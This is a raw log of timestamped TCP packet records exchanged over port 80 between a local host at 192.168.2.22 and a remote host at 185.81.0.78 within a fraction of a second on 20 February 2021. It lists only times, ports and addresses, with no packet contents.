Feb 20, 2021 02:03:51.657408953 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.657500982 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.657550097 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.657558918 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.657610893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.657666922 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.657716036 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.657717943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.657763004 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.657768965 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.657819986 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.657824993 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.657872915 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.657874107 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.657922029 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.657927036 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.657978058 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.657979965 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.658030987 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.658046007 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.658094883 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.658101082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.658148050 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.658149958 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.658194065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.658200026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.658248901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.658252001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.658301115 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.658303022 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.658349991 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.658350945 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.658400059 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.658402920 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.658452034 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.658464909 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.658513069 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.658515930 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.658565998 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.658569098 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.658611059 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.658618927 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.658657074 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.658663988 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.658715963 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.658720016 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.658767939 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.658776045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.658826113 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.658834934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.658890009 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.658898115 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.658962011 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.658965111 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.659012079 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.659017086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.659064054 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.659075022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.659121990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.659127951 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.659176111 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.659182072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.659230947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.659235001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.659285069 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.659291983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.659342051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.659354925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.659400940 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.659403086 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.659437895 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.659451008 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.659476995 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.659488916 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.659514904 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.659528971 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.659549952 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.659564018 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.659589052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.659596920 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.659626961 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.659635067 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.659673929 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.670846939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.670895100 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.670931101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.670998096 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.671005011 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.671050072 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.671066046 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.671071053 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.671176910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.671228886 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.671565056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.671603918 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.671617031 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.671632051 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.671655893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.671679020 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.671690941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.671745062 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.672454119 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.672511101 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.672516108 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.672565937 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.672574997 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.672626019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.672635078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.672682047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.672688961 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.672734976 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.672744036 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.672791004 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.672801018 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.672847033 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.672861099 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.672914982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.672915936 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.672966957 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.672970057 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.673011065 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.673016071 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.673057079 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.673063993 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.673105955 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.673110962 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.673144102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.673152924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.673190117 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.673190117 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.673239946 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.673240900 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.673290014 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.673300028 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.673347950 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.673352003 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.673412085 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.673440933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.673501015 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.673517942 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.673543930 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.673558950 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.673583031 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.673597097 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.673621893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.673634052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.673659086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.673666954 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.673696995 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.673711061 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.673753023 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.693725109 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.693787098 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.693839073 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.693844080 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.693887949 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.693893909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.693900108 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.693943024 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.693958998 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.693983078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.693999052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.694024086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.694037914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.694066048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.694073915 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.694122076 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.694303989 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.694360971 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.694655895 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.694714069 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.694714069 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.694765091 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.694771051 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.694818974 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.694828033 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.694879055 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.694886923 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.694940090 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.694947004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.694993019 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.695000887 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.695030928 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.695044041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.695076942 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.695260048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.695300102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.695316076 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.695338011 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.695359945 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.695384979 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.695394039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.695441961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.695491076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.695539951 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.695547104 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.695600986 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.695612907 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.695662022 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.695667028 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.695713997 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.695722103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.695768118 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.695844889 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.695894003 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.695900917 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.695941925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.695947886 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.695986986 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.695988894 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.696031094 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.696038961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.696069002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.696079969 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.696115971 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.699302912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.699374914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.701528072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.701553106 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.701601982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.702950001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.703006029 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.703026056 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.703069925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.703087091 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.703107119 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.703119993 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.703125000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.703145027 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.703162909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.703167915 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.706087112 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.706106901 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.706161022 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.707426071 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.707446098 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.707462072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.707469940 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.707479000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.707485914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.707490921 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.707494974 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.707516909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.707571983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.707621098 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.710376024 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.710395098 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.710412025 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.710427999 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.710453987 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.710479975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.710486889 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.711649895 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.711705923 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.711729050 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.711745977 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.711786032 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.711790085 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.711796999 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.711807013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.711837053 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.711857080 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.715926886 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.715948105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.716011047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.716130972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.716154099 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.716175079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.716176033 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.716190100 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.716195107 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.716217041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.716913939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.716945887 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.716967106 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.716973066 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.716988087 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.716989040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.717005968 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.717009068 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.717031002 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.717047930 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.717642069 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.717664957 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.717685938 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.717705011 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.717705965 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.717717886 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.717722893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.717725039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.717745066 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.717778921 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.719825029 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.719883919 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.719980001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.720060110 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.720138073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.720158100 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.720177889 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.720192909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.720206022 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.720220089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.720223904 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.720243931 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.720273018 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.720288038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.720304966 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.720325947 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.720350981 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.720351934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.720366955 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.720402956 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.720408916 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.720434904 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.720455885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.720455885 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.720477104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.720506907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.720546961 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.720567942 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.720592976 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.720613956 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.720637083 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.720659018 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.720685959 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.720710993 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.720729113 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.720768929 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.720774889 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.720818996 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.720851898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.720875025 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.720899105 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.720917940 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.720968008 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.721013069 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.721014977 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.721039057 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.721061945 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.721061945 CET	49165	80	192.168.2.22	185.81.0.78
